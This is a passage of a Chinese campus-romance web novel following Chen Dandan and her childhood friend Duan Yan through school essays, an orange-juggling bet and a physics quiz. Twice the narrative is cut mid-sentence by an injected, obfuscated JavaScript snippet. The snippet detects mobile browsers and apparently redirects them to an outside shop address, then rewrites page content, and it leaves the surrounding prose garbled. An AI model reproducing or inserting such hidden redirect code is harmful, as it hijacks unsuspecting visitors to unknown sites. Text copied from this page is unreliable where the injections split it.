陈丹丹沉吟:“这大概要从我小学时候看的那本小说说起……” 祝思倩:“?!” 她万万没想到,她一心只有学习的好朋友竟然也看小说?! “高一以来我都没见你看过小说!”她抱着的杂志差点掉到了地上。 陈丹丹理所当然地回答:“那是因为要努力学习了呀,不过我平时偶尔会看看名著之类的,在书本和学校订的报纸里看到了好词好句也会摘抄运用。另外,蒋老师不是每周都会抽查周记么,我也会把自己在周记里写过的一些段落和素材背下来,考试的时候直接用。” 祝思倩摸摸下巴,“莫非这就是传说中的,我抄我自己?!” 陈丹丹:“……” 白天语文老师有其他事情没有给他们班上课,经过一番协调,语文老师在晚自习的铃声打响时走进了高二(16)班的教室。 穿着中山装、梳着大背头的蒋老师将上次语文小测的卷子发下来,着重批评了几个古诗词默写没有拿到满分的同学,又表扬了一番陈丹丹的作文,还让课代表明早把陈丹丹的作文贴在教室后面的墙上。 其他同学早就见怪不怪,陈丹丹虽然没有竞选过语文科代表,但她的语文成绩向来排在年级前列,好几次大考语文成绩都是年级第一。 唯独段言,一听这话颇有几分稀奇,翻阅课外书的手顿住,轻轻用笔戳了戳陈丹丹的后背。 蒋老师的视线恰好扫过来,陈丹丹吓了一跳,过了好几秒才转过身,将草稿纸递过去,示意他写字、别说话。 段言从书包里摸出支笔,在草稿纸上写下龙飞凤舞的几个大字。 「卷子借我看一下。」 他对陈丹丹作文水平的印象还停留在小学二三年级,每次周记本发下来之后,她都会看着老师的评语低落半天,然后非要看他写了什么。 段言想看看她写的周记,起初她死活不给他看,后来估计是想让他“对症下药”给她讲作文,这才勉为其难地给他一观。 他先扫了眼老师写在作文下方的评语:「不要再写流水账!」 忍俊不禁地往上方的作文看。 「200x年x月x日周六晴 今天我又和爸爸妈妈一起去外婆家吃饭了,外婆做了好多好吃的,有粉蒸肉、树花菜炖猪蹄、碱水摸炒腊肉,还做了罐儿饭,香的不得了! 吃完饭,外婆给我两块钱,让我去买零食吃,我说“好”,然后高兴地拿着外婆给我的零花钱去楼下的超市,我买了蛋黄派、辣条和荔枝味棒棒糖,真好吃。 吃完之后我又在外婆家看了一会儿电视,然后外婆和妈妈又继续做下午饭给我们吃,下午吃了酸辣土豆丝、蒸香肠,还热了早上的汤菜,特别好吃。 吃完饭之后,我和爸爸妈妈还有外婆一起去楼下的公园里转了半个小时,然后我和爸爸妈妈就回家了。 回到家之后,我看了半个小时的动画片,收拾了一下书包,洗漱之后躺上了床。 今天真是开心的一天啊!」 段言在心里闷闷笑出声,手指往前翻,上一篇的周记内容赫然也是如此—— 「200x年x月x日周日晴 今天我又和爸爸妈妈一起去外婆家吃饭了,外婆做了可多好吃的给我吃,我吃了…… 今天真是美好的一天啊!」 坐在前方的女孩子趁着蒋老师在写板书,飞快地把卷子往他跟前一递,段言的思绪登时被打断。 他低下头,看着眼前陌生又漂亮的字迹,行云流水又深受老师喜爱的文章。 「青春是一种奋发向上的活力,是一种朝气蓬勃的气质,是面向未来的成长,更是一种对希望与梦想的召唤。 …… 自管自育,扬鞭策马;自立自强,逐梦天涯。青春不再重来,奋斗永远不止!」 和以前完全不同的风格,有温暖细腻的描写,有热血沸腾的举例,有排比拟人比喻等修辞手法,还有金句的引用,段言突然就有一种“士别三日当刮目相看”的欣赏。 当试卷重新回到陈丹丹手中时,除了寻常的白纸黑字和红色打分外,多了一张贴在卷子上的便利贴。 上面用黑色的钢笔写着:「写得很好嘛,大作家。」 简单到像是老师随手写下的评语,却让陈丹丹在看到的一瞬间弯了弯唇。 那当然啦。 这么多年没见面,总不能只有他一个人进步吧,她也有进步的地方啊。 虽然进步得不是特别明显就是了。 8. 八颗青梅 盛夏,阳光正灿烂。 陈丹丹提前到校刷题。 做了二十多分钟的物理题,眼睛有点酸涩,她揉揉眼睛,站起来活动了一下僵硬的脖子,目光往窗外望去。 那条通向操场的路上站立着数颗树高大的梧桐树,它们遮挡住大部分的夏日阳光,只透出斑驳的树影。 数十个身穿球服的少年踏着阳光从操场往教学楼的方向走,有的抱着足球,和他男生勾肩搭背,有的嘻嘻哈哈,蹦的老高。 陈丹丹一眼就看见了少年中最醒目的那个。 走在最中间的男生身姿挺拔,他穿着红色的球服,被一群男生簇拥着往回走,脸上是运动后舒爽的笑意,伴随着夏日微风,头发丝轻轻晃动,少年意气十足地惹人注目。 盛夏的阳光恰好透过树叶洒在他的头顶,于是他少年感满分的笑容有了光。 连阳光都如此偏爱他。 似是被这样的耀眼灼伤,陈丹丹有点慌乱地坐回座位,她闭上眼平静了一下,然后重新投入题目中。 身后坐进了一个人,坐下来的时候,他的脚不经意间踢到了桌腿,发出轻微的声响,他没有说话,却存在感很强。 头顶的电扇呼呼地吹着,窗外的微风也传过窗户吹拂着。 有点奇怪的是,和其他有的男生不同,段言打完篮球回来,身上还有汗味,但莫名不难闻,只有清冽的气息,像是好闻的、淡淡的洗衣液的味道。 陈丹丹拿起杯子,准备去水房接水。 站起身的时候,她发现段言三两口喝掉了酸梅汤,正跃跃欲试地将包装杯压扁,估计又要表演他的投篮式扔垃圾绝活。 经过他桌边的时候,他见她拿着杯子往后走,笑着拜托她,“陈丹丹,可以帮我接杯水吗?我去换身衣服。” 他的眉眼是那样好看,陈丹丹“嗯”了一声,他便放心地从桌兜里掏出白色的短袖校服,和一大帮男生去厕所换衣服。 等他回来的时候,桌上已经放着接满水的杯子。他笑了笑,静静地坐在那里,等待几分钟后的上课铃响起。 …… 下节课的课间,俞秉文变魔法似的从桌兜里拿出一大袋橘子,分给坐在周边的同学,陈丹丹也分到了一个,刚剥开橘子皮,就听见俞秉文欠揍的声音。 “吃了我的橘子,就老老实实地当我的儿子知道不?” 陈丹丹正要把橘子往嘴里喂,闻言回过头看着俞秉文,确认他的精神状态是否良好。 没想到俞秉文正侧着脸面对段言,很明显,刚才那句认爹的话是对段言说的。她咬着橘子,和祝思倩对视一眼,笑着看段言怎么怼俞秉文。 然后就看见段言斯斯文文地剥着橘子皮,顺带着还把橘络一点点理出来放进橘子皮里,吃下去一瓣橘子,这才给了俞秉文一个眼神。 “儿子挺孝顺,知道要买水果孝顺长辈了。” 嘴里还吃着俞秉文给的橘子呢,笑出声实在是不太好。陈丹丹和祝思倩立马转回身,再也不掩饰脸上的笑容,无声地笑起来。 身后的对话还在继续。 “这是给我儿子买的,吃了就是我儿子了。”俞秉文咬死不松口。 “这样啊,”段言貌似很好商量地说,“这里还剩三个小橘子,如果你能在空中同时抛这三个橘子并保证它们不落地,我就承认你的地位,怎么样?” “呸!你这明显是在坑我!” “如果我做到了呢?” 俞秉文脱口而出:“不可能!” 隐约间,陈丹丹听见段言轻笑一声:“如果我做到了你记得叫我一声爸爸。” 俞秉文满不在乎地说:“行。” 明显不相信段言真的能做到。 祝思倩把椅子往陈丹丹的方向挪动,小声问她:“你觉得他们最终谁会是爸爸?” 陈丹丹轻声回答:“段言。” “你无条件相信你的竹马?” “不是,”陈丹丹从脑袋的旮旯堆里扒拉出来一段久远的记忆,“我小时候见过段言同时抛三个球。” 果不其然,身后传来一声响亮的“靠!” 陈丹丹和祝思倩同时回头,就看见三个黄灿灿的橘子正被段言在空中来回抛掷,他的嘴角还挂着游刃有余的微笑。 俞秉文愿赌服输,屈辱地叫了段言一声爸爸,问他:“你是怎么做到的?” 段言还是不紧不慢的样子,他先是说:“我没有你这样的儿子。”再细细给俞秉文讲解技巧。 别说俞秉文听得蠢蠢欲动想要尝试一下,就连陈丹丹都难得起了兴致,想要玩一玩。 橘子……嗯,手边没有多余的橘子,而且她刚开始技术不熟练,估计会扔到地上,那也太浪费了。 于是陈丹丹的目光移向了桌上的橡皮擦。 她有两块大小一样的橡皮,还少了一块,不过正好,祝思倩有一块一模一样的橡皮。 陈丹丹还没来得及问祝思倩,她就了然地把橡皮放到陈丹丹手中。 陈丹丹:“?” 祝思倩:“因为我想的和你一样,你玩够了让我也玩两把。” 陈丹丹:“好哒~” 交易就此达成。 陈丹丹把橡皮往空中一抛,接住,再抛出,接住—— 接空了。 其中一个抛出去的力道有点大,正巧砸在她的脑袋上。 陈丹丹呆住,手忙脚乱之下,橡皮像是下饺子似的,一个个掉到地上。 她刚要蹲下去捡橡皮,一只手快过她的动作,将橡皮捡起来放在她的手心。 那人还笑着嘲笑她。 “自己砸自己?” “橡皮集体跳楼?” 段言长得太好看,小时候陈丹丹还能凶巴巴地对着他那张脸说话,现在面对他放大的俊脸,顶多底气不足地怼他一句“要你管!” 他还委屈上了,可怜兮兮地指责她:“你怎么这么凶?” 陈丹丹:“是你先嘲笑我的!” 段言耸耸肩:“我只是告诉你一件事实。不要轻易模仿我,因为——会、翻、车。” 陈丹丹:“……” 她咬牙切齿地想。 果然,这几天对他产生的那一丢丢好感全部都是错觉,被他的脸和气质迷惑产生的错觉。 他再也不是小时候那个听她话的段言了!现在的他,是不讨喜的噎人版段言。 片刻后,段言用笔轻轻戳了戳陈丹丹的后背。 “干嘛?”她面色不佳地回头。 剑眉星目的少年好脾气地递给她一个橘子,白皙修长的手指包裹着黄灿灿的橘子,将它衬得像艺术品一般。 “俞秉文刚输给我两个橘子,喏,送你一个当赔礼。” 陈丹丹的嘴角不自觉扬起:“赔礼?” 这是知道他刚才的嘲笑让她生气了,所以来道歉? “嗯啊。”段言直接承认。 “好吧,看在你这么有诚意的份上,我就原谅你了。”陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281601|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹丹摊开手心,饱满的橘子被放在了上面。她笑着转回身,想着刚吃了一个橘子,就将手中的赔礼放在了桌面上。 又是一个课间。 陈丹丹订正完错题,食指像是生出了自己的意识,戳了戳圆滚滚的橘子。 橘子在课桌上翻了滚,然后在陈丹丹讶异的目光里露出她方才没有发现的一面。 只见圆滚滚的橘子上多了一个用黑色马克笔画成的笑脸,是最简单的笔画,上面两个黑心圆点,下面是大大的弧度。 仿佛是在嘲笑她之前的“橡皮跳楼”。 啊啊啊啊啊啊! 段言表面上求和赔礼,实则还是在嘲笑她! 他是懂得怎么气人的! …… 今天是生物老师的晚自习,他在讲台上激情澎湃地讲着题,时不时还要强调一句:“基础不牢,地动山摇!” “噗呲噗呲。”祝思倩示意陈丹丹低头。 陈丹丹一低头,就看见祝思倩正往她的桌兜里塞进去一个橙子。 咦? 今天是什么柑橘类水果大会吗? 紧接着,趁生物老师背对同学们写板书,一张小纸条出现在陈丹丹桌上,上面写着“别人给我的,我们一起分。我昨天刚剪完手指甲不好剥皮,拜托你了,么么哒!” 陈丹丹在纸条背面唰唰唰写上几个字递回去,“OK,等生物老师讲完题。” 好不容易等生物老师讲完题,他又当堂布置了作业,“接下来的时间,你们就给我好好做这张活页作业,做完的同学对照答案给自己批改一下,有不懂的再到讲台上来问我。” 说是这么说,生物老师还是很负责地在教室里转圈,走几步停一会儿,观察同学们的做题习惯,有同学遇到不会的题了,直接举手,他就走过去给那位同学讲题。 陈丹丹趁机在桌下剥橙子,偶尔还做贼心虚地抬头看看生物老师在哪,复又低下头继续剥橙子。 正当这个橙子即将被陈丹丹抽筋扒皮成功时,她忽然若有所觉,一抬头,只见生物老师正大步流星地往她的方向走来。 该不会她开小差的行为被老师发现了吧? 啊啊啊啊不要啊! 当了多年好学生的陈丹丹吓得手一抖,差点把橙子摔地上,紧张之下没有掌握好力度,一点果肉不小心被她剥开,手上也沾到了一点汁水。 正当她犹豫是将橙子直接塞进桌兜里,还是让祝思倩藏好,座位旁有人淡定地朝生物老师的方向走去,他步子迈得很快,路过时还带着一股清新好闻的风,像是清清爽爽的洗衣液香味。 一张便利贴顺手被他拍在陈丹丹桌上。 陈丹丹的目光循着便利贴的主人看去——段言手上拿着一支笔、一套卷子往讲台走,连带着生物老师也重新回到讲台上。 警报解除,应该没有被生物老师发现。 陈丹丹松了一口气。 虽然段言白天还挺气人的,但他还是蛮讲义气的,有意无意间替她解了围。 既然如此,她就大度地不和他计较了~ 等到陈丹丹和祝思倩快速消灭橙子,擦干净手后,她拿起贴在桌角的便利贴,上面赫然写着几个龙飞凤舞的大字。 「还不快点认真做卷子?」 陈丹丹:“……” 简直瞬间梦回小时候的噩梦画面—— 开学前一周,她还在疯玩,段言拦住抱着滑板的她,面色严肃:“还不快点补你的暑假作业?” 9. 九颗青梅 翌日,上午第一节是陈丹丹讨厌的物理课。 物理老师穿着他那件标准的白色衬衫和黑色长裤,一进教室门,大家就被他手中厚厚的一叠卷子吸引了视线。 有拿到卷子的同学翻了一下试卷,发现题挺多的,立马扬声说道:“老师,题这么多,一节课做不完!” 物理老师笑眯眯地瞅了眼白板上由班长写好的课表,宛若魔鬼地说:“下一节是音乐课,你们音乐老师有点事情,班主任和我商量了一下,刚好利用你们音乐课的时间,用两节课来进行物理测验,中间就不休息了,有需要的同学自己出去解决。” “啊——”同学们开始哀嚎,声音凄惨无比,仿佛受到了巨大的摧残。 又是这样,无数次被迫消失的体育课、音乐课、美术课,而且理由无一例外,统统都是“体育老师/音乐老师/美术老师生病了或者有事请假了”。 更何况,几乎没有学生会喜欢课堂测验外加当场处刑的,即使是火箭班的学生们也不例外。 接二连三的哀嚎声响起,试图唤醒物理老师心中的良知(?) 学生们也是会看人下菜碟的,面对极有威严的生物老师老秦、不好说话的化学老奶奶等老师,高二(16)班的学生们压根儿不敢讲条件甚至耍赖。可是面对会跟他们开玩笑的物理老师白衬衣,他们就敢胆大包天地和他讨价还价。 虽然也没成功过,不过好歹他们也努力过了不是?基于奇奇怪怪的好玩儿的心理,他们还将此列为必要环节。 “老师你好残忍!” “老师你可怜可怜我们吧!” “啊啊啊啊为什么又要小考?!” “前几天刚考过啊!!” 物理老师故作疑惑状:“你昨天刚吃了饭,今天为什么又要吃?” 还真有调皮的男生小声嘀咕:“因为我不吃饭会饿死,不做卷子不会死。” “什么?”物理老师声音陡然提高。 这个男生虽然调皮,但有个优点,那就是识时务。他当场认怂,噤口不言。 正在这时,陈丹丹座位后面的某人朗声回道:“没什么,老师说的都对!” “哈哈哈哈哈哈!” 讲台底下传来学生们的哄堂大笑声。 物理老师:“……” 在部分同学插科打诨的时候,还有的同学已经开始埋头做卷子了,比如陈丹丹。 她先检查了一遍试卷,随后迅速写好学校、班级、名字等信息,立刻开始做卷子。 “质量相等的A、B两球在光滑水平面上沿同一直线……” 最近的随堂测验简直难度飙升,不止前面的基础题难度提高,就连后面的压轴大题也表现出了非一般的难度。 这很正常,分班考试临近,所有老师都提高了对学生们的要求。 普通班还好一点,虽说班主任和其他老师也跟他们三令五申过要努力冲进火箭班。但平心而论,老师们对他们也是鼓励居多,没想过真有很多同学能考进火箭班。毕竟要有那个实力,高二上学期的分班考试就考进火箭班了。更别提火箭班的同学们大多数聪明又勤奋,又有优秀师资力量的加持,哪有那么好超越的? 相比之下,火箭班的老师们最近对同学们抓得尤其紧,不想让自己辛辛苦苦教出来的好学生们跌到普通班去。 这不,作业量加倍就不说了,就连课堂测验的频率都大大提高。 陈丹丹十分艰难地做着手中的物理卷子,时不时抠抠脑袋、咬咬笔头。做到一半的时候,她放下笔,转了转僵硬的脖子。 “咔嚓、咔嚓——” 转动中的脖子发出清脆的声音,陈丹丹的心里也发出了骂骂咧咧的声音。 好烦。 这些都是什么鬼题? 为什么这次题出的这么难。 可恶的物理题,讨厌的物理题,天杀的物理题!这么难的题你是给神仙做的吗?就不能出一点给我这种凡人做的题?! 周围的同学都在很认真地埋头做物理卷子,唯有一个人例外。 段言。 他趴在桌子上睡得正香。 昨天他发现自己有点感冒,吃了药早早睡下,今早醒来又吃了一次药,有点犯困。 卷子发下来之后,他大概把题目看了一遍,“哗啦”一声,把试卷翻了个面,背面的题也看了一遍,觉得难度不大,可以很快写完,干脆往桌子上一趴,先睡上一节课的时间再说。 俞秉文见他这副懒散的样子,替他捏了一把汗。 找死啊这是。 测验卷不合格,会被拉出去当场处刑的。 俞秉文自以为很讲义气了,留给同桌二十多分钟的休息时间之后,在物理老师满教室转悠、全班同学飞速写题时,他偷偷伸长腿,踢了睡梦中的少年一脚。 没反应。 再踢一脚。 段言刚睡着就被迫醒来,他坐直身体,一脸懵地左望望右望望。就在这时,旁边传来男生宛如鸭子一般沙哑又聒噪的声音。 “起来做卷子了!” “……” 四周的同学们都沉浸在写卷子里,教室里再无窃窃私语声,白衬衣也放缓了脚步,慢悠悠地在教室里转。他时常停下脚步,观察某些同学的答题过程,时而眉头紧蹙,看起来严肃不易,时而眉目疏朗,神情放松。 “沙沙——” 是笔尖落到试卷上,书写时带起的声音。 “嘶拉——” 有的同学又撕下一张演算的草稿纸。 “哗啦——” 有同学做完了正面,翻到背面开始作答。 “嘶——” 有同学发现某道题难度很大,惊得到吸一口凉气。 “唉——” 有同学做这份卷子做得头都要炸了,叹息不已。 段言被迫醒来,握着一只黑笔行云流水般从第一题开始往后做,速度快到似乎跳过了思考的过程,笔不停地往卷子上书写,没过多久就翻面继续从头往下书写。 此时,陈丹丹正卡在最后一道填空题上。 “在原子核物理中,研究核子与核子关联的最有效途径是‘双电荷交换反应’,这类反应……” 她挠挠头,半天没算出来答案,摆正手表一看,第一节课即将过去,于是立刻填了个她觉得有可能正确的答案凑数,开始做第一道大题。 第一节的下课铃响起,十分钟后,第二节课的上课铃响起,有不少同学露出了紧张的神色。 已经做完整套卷子的段言伸了个懒腰,百无聊赖地一边转笔,一边检查卷子。 等陈丹丹做到第二道大题的时候,右后方传来倒吸一口凉气的声音,“嘶——段言你还是人吗?!” 陈丹丹接着在草稿纸上计算步骤,算一问在卷子上写一问:“设弹簧长度被锁定后,贮存在弹簧中的势能为……” 身后,余秉文压着嗓子,还是没有掩藏住他的震惊:“牛逼啊同桌,这就把卷子写完了?!” 他倒是没想过段言会胡乱做,能进他们学校,还能进他们学校的理科火箭班,怎么着也不至于胡乱做卷子,还是物理这么重要的科目。 轻飘飘的声音回答:“啊,写完了。” 就好像在短短的时间里写完别人一百分钟都写不完的物理试卷是一件稀松平常的事情。 陈丹丹笔尖一顿,停在了“Ep’”上。顿了好几秒,方才收敛情绪,继续投入到物理题当中。 “砰——” 笔掉落在地上。 陈丹丹正在草稿纸上演算,突然身后传来刻意压低的声音,“陈丹丹——陈丹丹——” 声音不大,但还是硬生生把她从题目当中拉扯出来了。 她转过身,就看见少年的眼神中透着几分无辜,“我笔掉你桌子下面了,帮忙捡一下。” 她有点无奈,弯腰给他捡起笔,放在他桌上的时候忍不住说了句:“你都多大了还转笔?” 她是记得段言有转笔的习惯的,上小学的时候,他俩还当过同桌,那个时候可流行转笔了,她还特意买了一支适合用来转的笔,段言也是。 不过他俩的转笔技术不怎么样,转的幅度大了,笔就会掉在地上。 那段时间他俩天天弯腰到处找笔,后来班主任明令禁止转笔这股“歪风”,说是会影响大家听课做题的注意力。 陈丹丹生生断了转笔的爱好,段言起初还在转笔,被班主任上课时发现,一个粉笔头砸过来,他登时老实了。 没想到现在故态复萌。 忽略掉她说完这句话后段言眼里闪过的笑意,陈丹丹重新埋头于题海中。 这套物理卷子是年级里的老师自己出的,没有什么选做题,只有必做题和两道附加题,第一道附加题陈丹丹研究了半天,没做出来,果断放弃;第二道附加题她甚至连看题干的时间都没有,下课铃就响起了。 走廊上穿出学生打闹的声音,白衬衣拍了拍讲桌,在教室里大声说:“同学们,笔停下——哎,我说,都把笔放下,时间到了。我把答案都抄在白板上了,同学们利用下课时间,前后桌互相交换批改一下哈!” 底下有男生大喊:“老师,咱们师生之间的信任就这么脆弱吗?” 就不能自己做完自己批改吗? 白衬衣呵呵笑了两声,在讲台上踱步,“作为老师的多年经验告诉我,不要太相信你们,自己批改那是不可能的,同桌交换也不太保险,还是前后桌交换靠谱一点。” 陈丹丹依依不舍地放下笔,把卷子往后面一递,心里还在为她没做的那道物理大题哀悼,又接过来段言传过来的物理卷子,扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281602|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,再翻了个面。 嚯! 这人的卷子被填得满满当当,最后一道大题更是写的密密麻麻的。 这世界的参差啊。 陈丹丹作为火箭班的学生,平时排在班级前列,倒也能算得上是学霸一枚。班里不缺努力又聪明的学霸,也不乏那种平时不怎么听课但理综成绩好到爆的男同学,她从没嫉妒过这些同学,顶多将他们当做目标,不断努力再努力。 但此刻,就觉得还挺酸的,觉得自己宛如一颗柠檬精,酸到不行。 毕竟,其他人也没段言这么夸张啊。 越是往后批改,她就越惊诧。 红笔画了个对号,再画对号,还是对号。 翻个面,继续批改,对号,对号,全是对号。 改到最后几道大题的时候,她总算是发现为什么答题处写了那么多密密麻麻的字了。 这人每道题都写了好几种做法,包括最后那两道把她难哭、看都看不懂、完全没有思路的附加题。 陈丹丹把卷子改完,整个人都麻木了。 这莫非就是传说中的……来自学神的降维打击吗? 她将批改完的物理卷子递回给他,想了想,又麻木地往后面转了半个身子,失去灵魂地问段学神:“你为什么要写那么多解法?” 不嫌累得慌吗? 还是专门就是为了打击我们这些渣渣啊? “大概是因为有点无聊。”少年歪着身子,随手把他的物理卷子塞进桌兜里,然后恢复原来的姿势,左手支着下巴,右手时而转笔,时而在卷子上划个√或者X,一心二用地回答她。 陈丹丹僵硬地转回身子。 这回答绝了,我给您满分。 对完答案之后,物理老师还特意在班里问,“满分的有吗?” “老师,怎么可能有满分!”班级前五、年级前二十、物理单科年级前五的学霸——的后桌说道。 他给前桌的大学霸改了卷子,满分100份,大学霸也只拿了85分。 他不相信班里会有满分的卷子。 “有有有!”余秉文把手举得老高,声音超大,好像得了满分的人是他那样骄傲。 物理老师意外地笑笑,赞扬道:“我们班里唯一一个满分,余——” 后面的话还没说完,就听见余秉文接着说道:“是我同桌段言满分!” 物理老师颇有些惊讶,他早就注意到班上有个新同学了,毕竟这位同学帅得鹤立鸡群,非常显眼。只是年级里学习好的学生太多了,他还以为这位同学会埋没在一众学霸里。 他不否认他对这位同学产生了一点小误会,但这也是人之常情,谁让这个男生这几天从来不举手发言,作业也只是简单地写两行步骤,敷衍地就像是在网上百度了答案一样。当然,这些题是他自己出的,网上百度不到答案,他就是打个比方。 不过他也没觉得这男生是走后门进的火箭班。 ——年级主任的儿子都还在普通班呢。 他走下讲台,来到段言的桌前,“我看看你的卷子。” 看正面的时候速度很快,选择填空全对,除了答案和一点铅笔留下的标注之外,干净极了。 等看到反面的时候,他哑然无声。 这孩子很有天分,选胜过当年的他。 他无视掉段言呆滞的神情,把卷子一折,夹紧自己的教案里,继续刚才的问话,“九十分以上的同学举手!” 坐在第一排的一个学霸举起手。 “八十分以上的同学举手!” 两只手举起来。 “七十分以上的呢?” 哗啦啦,这下班里有三分之一的同学都举起了手。 但不包括陈丹丹。 她沮丧地戳了戳桌上的橘子,上面的笑脸仿佛在嘲笑她,又好像在告诉她要微笑。 于是她勉强笑了笑,又趴回到课桌上,胳膊下还压着物理卷子。 她这次只考了六十五分,段言给她留了面子,只批改了对错,没有写分数,这个分数是她自己算出来写在卷面上的。物理不是她的强项,可是她也从来没有想过,自己的物理分数会低到这个程度。 做梦都没想过。 一百分的满分,她居然刚及格。 想当初上小学的时候,她虽然爱玩,但成绩也是班上数一数二的好,没想到现在会让段言见证她这么狼狈的样子。 好丢脸。 而给她批改卷子的段言考了满分,全班唯一一个满分,或许也是全年级。据她推测,连他们班都只有三个人在八十以上,其他班应该也大差不差,总之应该不会再有一个夸张的满分出现了。 她猜身后那位竹马学神应该正春风得意着。 然而事实相反。 段言快要被烦死了。 10. 十颗青梅 来看段言的外班女生依旧很多,这点他可以完全忽视掉,但是班里的同学在知道他的物理成绩后,一个二个都跑来向他请教问题。 单纯讨论一些稍微有难度的题倒也还好,他不排斥和同学互相交流题目,但前提是这个题目值得讨论。 有的女同学拿着简单的物理选择题跑过来问他,他讲了之后还是没听懂,也不知道是真没懂还是装没懂。 几次下来,段言的耐心所剩无几。 “这里,你把它们当做研究系统,水平方向动量守恒,懂了吗?”他问。 站在他座位旁边的女同学有点不太好意思,“没懂。” “或者,你去请教朱子奕?”段言斟酌着用词,“他是物理课代表,讲解题目应该更有经验一点。” 女生支支吾吾的,还是坚持让他讲题,“要不你再给我讲一遍,我觉得我就快懂了。” “哦,”段言点点头,“我明白了。” “啊?你明白什么了?”女同学疑惑地看着他,高高的马尾辫随着脑袋的晃动在空气中甩出好看的弧度。 段言把笔盖盖上,随手往桌上一扔,“你大概不适合做这种需要智商的物理题。” 这不是明白着骂他蠢吗? 女同学的脸上闪过一丝难堪。 坐在前面的陈丹丹也听到了他那句话,心里还在隐隐震惊。 他那话说的干脆利落,想要表达的拒绝非常直白,没有太在乎什么面子情、同学情之类的,更没有考虑到女孩子脆弱的情绪。 坐在一旁假装透明人的余秉文狠狠掐了一把大腿,才忍住没笑出声来。 这哥们,嘴怎么这么毒? 等女同学走了之后,他小声问段言:“这样对待女孩子会不会有点过分了?” 他们男生心都挺大的,被说几句也不会往心里去,女生就不一样了。 尤其是到了高中,很多女生心思都挺敏感的,即使大大咧咧如余秉文也察觉到了。 “我没有那么多时间在乎别人的内心活动,”段言知道自己说的有点过分,但不这样不行,“早点认清现实,总好过对我有不切实际的想法。” 他看出那个女同学对他有点意思,她没明说,他也不打算挑明,远离就行。如果礼貌的拒绝不管用,就毒舌几句。 以前班上有男生调侃,说他是“片叶不沾身”,在“某某喜欢某某”“某某好像暗恋某某”这样的传言盛行的学生时代,他硬是没传出过一点绯闻,搞得那些女孩觉得他洁身自好,更加迷恋他了。 其实他没有特别刻意地和所有异性保持距离,相反,他和一些女同学相处得还不错,平日里见面了会点头打招呼,合理范围内的求助他也很少拒绝。 但有一个前提:对方必须对他没有任何其他的想法。 原因很简单,他向来克制清醒,知道自己不想要什么。 他很确定,他是不会在高中谈恋爱的,这种你喜欢我我喜欢你的剧情,在段言看来没意思透了,还不如做几道题、看几本书、打几场篮球、玩几把游戏来的有趣。 既然这样,还不如不要给别人希望,一丁点都别给。 这样对谁都好。 陈丹丹听见了他的话,若有所思。 所以,段言并没有谈恋爱的打算,会平等拒绝所有女孩子对他的示好。一旦对方露出对他的半点喜欢,他就会想办法断掉这些不切实际的想法? …… 今天有节体育课,祝思倩从很早就开始兴奋,“段言他们平时都在中午打篮球,我睡午觉也看不了,难得有一节体育课哎,我们终于可以大饱眼福了!” 她说这话的时候声音小小的,凑在陈丹丹耳边说,一看就是说悄悄话的样子。没办法,谁让她们讨论的对象就坐在身后呢? 陈丹丹莞尔一笑:“有那么夸张吗?” “有的有的!”祝思倩点头如捣蒜,“有的班的女生特意去看了,据说超帅的好嘛!自从段言他们打篮球以来,学校好多女生都提前到校,就连学校小卖部的水都卖的更快了,简直是以一己之力拉动校园GDP的节奏啊!” 陈丹丹被她夸张的语气逗笑,想起了段言大口喝酸梅汤的模样,有点疑惑:“段言应该没有喝女生带去的水吧?” 如果喝了,也不至于那么渴,喝完一大杯酸梅汤,还要让她帮忙接水。 “那倒没有啦!”祝思倩以手掩唇,压低声音道,“听说他从来不喝女生带给他的水,都是打完篮球后跑到小卖部去买酸梅汤。听说隔壁班一个女生还专门给他买了酸梅汤,结果他也没要,自己跑去小卖部买了一杯。” “哦哦。”陈丹丹瞬间联想到他昨天说过的话。 祝思倩摆摆手,“不过那些都不重要,重要的是,我们可以在体育课上观看身后的风云人物打篮球哎!” 风云人物? 这么形容倒也没错,可以说是名副其实了。 继外形出众吸引一大票女孩子之后,段言又以一骑绝尘的物理测验分数、超高的篮球技术吸引了一大波男生朋友,不知道从什么时候起,他的周围永远都是以他为中心的男同学,人缘简直好到爆,完全看不出来他是不久前才进入本班的转校生。 他会和路易平、曾智轲、姚一哲等学霸讨论题目,而且往往是学霸主动请教他,陈丹丹见过不少次他和班里这几个排名前几的学霸讨论题目,思路清晰,声音温和。 他也会和俞秉文、周立阳这些男生一起玩很幼稚的游戏。 对,陈丹丹发现她身后的这位风云人物有时候有点幼稚。 他不仅转笔,偶尔会把笔转到她桌子底下让她捡起来,还会有很多在她看来很幼稚的举动。 比如,他喝完酸梅汤之后,会很无聊地把包装杯压扁、瞄准垃圾桶投进去。 再比如此刻。 他正在和班上的男生一起玩纸飞机,是那种非常幼稚的、毫无科技含量的玩法,哈一口气扔出纸飞机,看谁的纸飞机飞的远,飞的时间长。 “周立阳!”辛彤彤生气地叫了一声,把纸飞机从她的头顶取下来,“你的飞机落到我头上了!” “对不起对不起哈!”周立阳嬉皮笑脸地道完歉,然后又和其他男生一起比较谁的飞机飞的更远了。 和其他男生相比,段言还算是比较幸运的,又或者说技术稍微好一点,起码没有把纸飞机飞到女同学的头发上或者桌上,但还是很幼稚。 陈丹丹不忍直视地埋头做题,数学课结束后,她和祝思倩手拉着手去了趟洗手间,随即就被她拉着跑向操场了。 